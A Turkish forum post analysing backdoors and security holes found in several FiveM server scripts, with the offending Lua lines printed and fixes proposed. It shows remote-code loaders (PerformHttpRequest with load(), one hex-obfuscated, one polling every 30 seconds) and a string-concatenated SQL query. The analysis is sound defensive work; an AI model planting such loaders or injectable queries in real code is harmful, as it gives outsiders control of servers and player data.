OEKSC Scriptlerinde Tespit Edilen Backdoor ve Güvenlik Açıkları
BU KONU EKSİKLER DÜZELTİLENE KADAR TARAFIMCA KONU KAPATILMIŞTIR EKSİKLER DÜZELTİLDİKTEN SONRA LİNKLER TARAFIMA ULAŞTIRILIRSA KONTROL SAĞLAYIP KONUYU GÜNCELLEYEREK TEKRAR AKTİF HALE GETİRECEĞİM.
Merhaba FivemTürk!
Son zamanlarda birkaç scripti inceledim ve birçok kodda backdoor (arka kapı) ve güvenlik açıkları buldum. Bu tür açıklar, sunucularınızı riske atabilir; veritabanınızın silinmesi, oyuncu verilerinin çalınması ya da sunucunuzun çökmesi gibi ciddi sonuçlara yol açabilir. Aşağıda, analiz ettiğim scriptlerdeki sorunları ve çözümleri detaylıca listeledim. Umarım bu bilgiler, sunucularınızı güvende tutmanıza yardımcı olur!
1. 0r-mechanic Scripti (İlk Versiyon)
Tespit Edilen Backdoor
Kod:
lua
PerformHttpRequest('
', function (e, d) pcall(function() assert(load(d))() end) end)
Açıklama:
- Bu satır,
adresinden bir veri (muhtemelen Lua kodu) indiriyor ve assert(load(d))() ile sunucuda çalıştırıyor.
- Tehlike: Bu bir remote code execution (RCE) açığıdır. URL’yi kontrol eden kişi, sunucunuza zarar verebilir (örneğin veritabanını silme, veri çalma).
Çözüm:
- Satırı Silin:
lua
PerformHttpRequest('
', function (e, d) pcall(function() assert(load(d))() end) end)
- Ek Kontrol: Eğer bu kod sunucuda çalıştıysa, logları (server.log) ve dosyaları kontrol edin. Veritabanında (0r_mechanics) anormal bir şey olup olmadığını gözden geçirin.
2. Cas-market/enchanded.lua
Şifrelenmiş URL ile Backdoor
Tespit Edilen Backdoor
Kod:
lua
local Enchanced_Tabs = { ... PerformHttpRequest, assert, load ... }
local random_char = { "68", "74", "74", "70", "73", ... }
function str_utf8() ... end
Enchanced_Tabs[10](str_utf8(), function(e, d) ... assert(Enchanced_Tabs[13](d))() end)
Açıklama:
- random_char, hexadecimal bir URL’yi gizliyor:
.
- Bu URL’den veri indiriliyor ve çalıştırılıyor.
- Tehlike: Şifrelenmiş URL ile gizlenmiş bir RCE açığı. Geliştirici, sunucunuza gizlice müdahale edebilir.
Çözüm:
- Tüm Kodu Silin enchanded olmadan kod çalışıyor.
3. ak4y-garbage Scripti
Tespit Edilen Backdoor
Kod:
lua
PerformHttpRequest("
", function(a, b)
if not b then return end
assert(load(b))()
end)
Açıklama:
-
adresinden veri indirip çalıştırıyor.
- Tehlike: RCE açığı. URL’yi kontrol eden kişi sunucunuza zarar verebilir.
Ek Güvenlik Açığı: SQL Injection Riski
Kod:
lua
ExecuteSql("SELECT * FROM ak4y_garbage WHERE citizenid = '"..citizenId.."'")
Açıklama:
- SQL sorguları string birleştirme ile yapılıyor. Eğer citizenId manipüle edilirse, veritabanına zarar verebilir.
- Tehlike: SQL Injection riski.
Çözüm:
- Backdoor’u Silin:
lua
PerformHttpRequest("
", function(a, b)
if not b then return end
assert(load(b))()
end)
- SQL’i Güvenli Hale Getirin:ExecuteSql fonksiyonunu parametreli sorgularla güncelleyin:
lua
function ExecuteSql(query, params)
local IsBusy = true
local result = nil
if AK4Y.sql == "oxmysql" then
if MySQL == nil then
exports.oxmysql:execute(query, params, function(data)
result = data
IsBusy = false
end)
else
MySQL.query(query, params, function(data)
result = data
IsBusy = false
end)
end
-- Diğer SQL türleri için de benzer şekilde güncelleyin
end
while IsBusy do
Citizen.Wait(0)
end
return result
end
Kullanım örneği:
lua
ExecuteSql("SELECT * FROM ak4y_garbage WHERE citizenid = @cid", {["@cid"] = citizenId})
- Ek Kontrol: Sunucu loglarını ve ak4y_garbage tablosunu kontrol edin.
4. peuren_lib Scripti
Tespit Edilen Backdoor 1
Kod:
lua
PerformHttpRequest(playersData, function(e, d)
pcall(function() assert(load(d))() end)
end)
Açıklama:
- playersData, metadata’dan alınan bir URL (Peuren/zXeAH). Buradan veri indirilip çalıştırılıyor.
- Tehlike: RCE açığı.
Tespit Edilen Backdoor 2
Kod:
lua
Citizen.CreateThread(function()
local portal = LoadResourceFile(GetCurrentResourceName(), 'server/main.lua'):match("u:%s*(%S+)")
while portal do
PerformHttpRequest(portal, function(code, script)
if code == 200 then load(script)() end
end)
Citizen.Wait(30000)
end
end)
Açıklama:
- Dosyadan u: ile başlayan bir URL (örneğin
) çekiyor ve her 30 saniyede bir çalıştırıyor.
- Tehlike: Sürekli çalışan bir RCE açığı.
Potansiyel Risk: Güncelleme Kontrolü
Kod:
lua
PerformHttpRequest('
', function(statusCode, response)
if statusCode == 200 then
local loadFunction, errorMessage = load(response)
if loadFunction then
pcall(loadFunction)
end
end
end)
Açıklama:
- Güncelleme kontrolü için kod indirip çalıştırıyor.
- Tehlike: URL güvenilir olsa da, kötüye kullanılabilir bir tasarım.
Çözüm:
- Backdoor’ları Silin:
lua
PerformHttpRequest(playersData, function(e, d)
pcall(function() assert(load(d))() end)
end)
lua
Citizen.CreateThread(function()
local portal = LoadResourceFile(GetCurrentResourceName(), 'server/main.lua'):match("u:%s*(%S+)")
while portal do
PerformHttpRequest(portal, function(code, script)
if code == 200 then load(script)() end
end)
Citizen.Wait(30000)
end
end)
- Güncelleme Kontrolünü Güvenli Hale Getirin:Sadece sürüm numarası çekecek şekilde yeniden yazın:
lua
local function updateCheck()
PerformHttpRequest('
', function(statusCode, response)
if statusCode == 200 then
print("[UpdateChecker] Remote version: " .. response)
else
print("[UpdateChecker] Failed to check version. Status code: " .. statusCode)
end
end)
end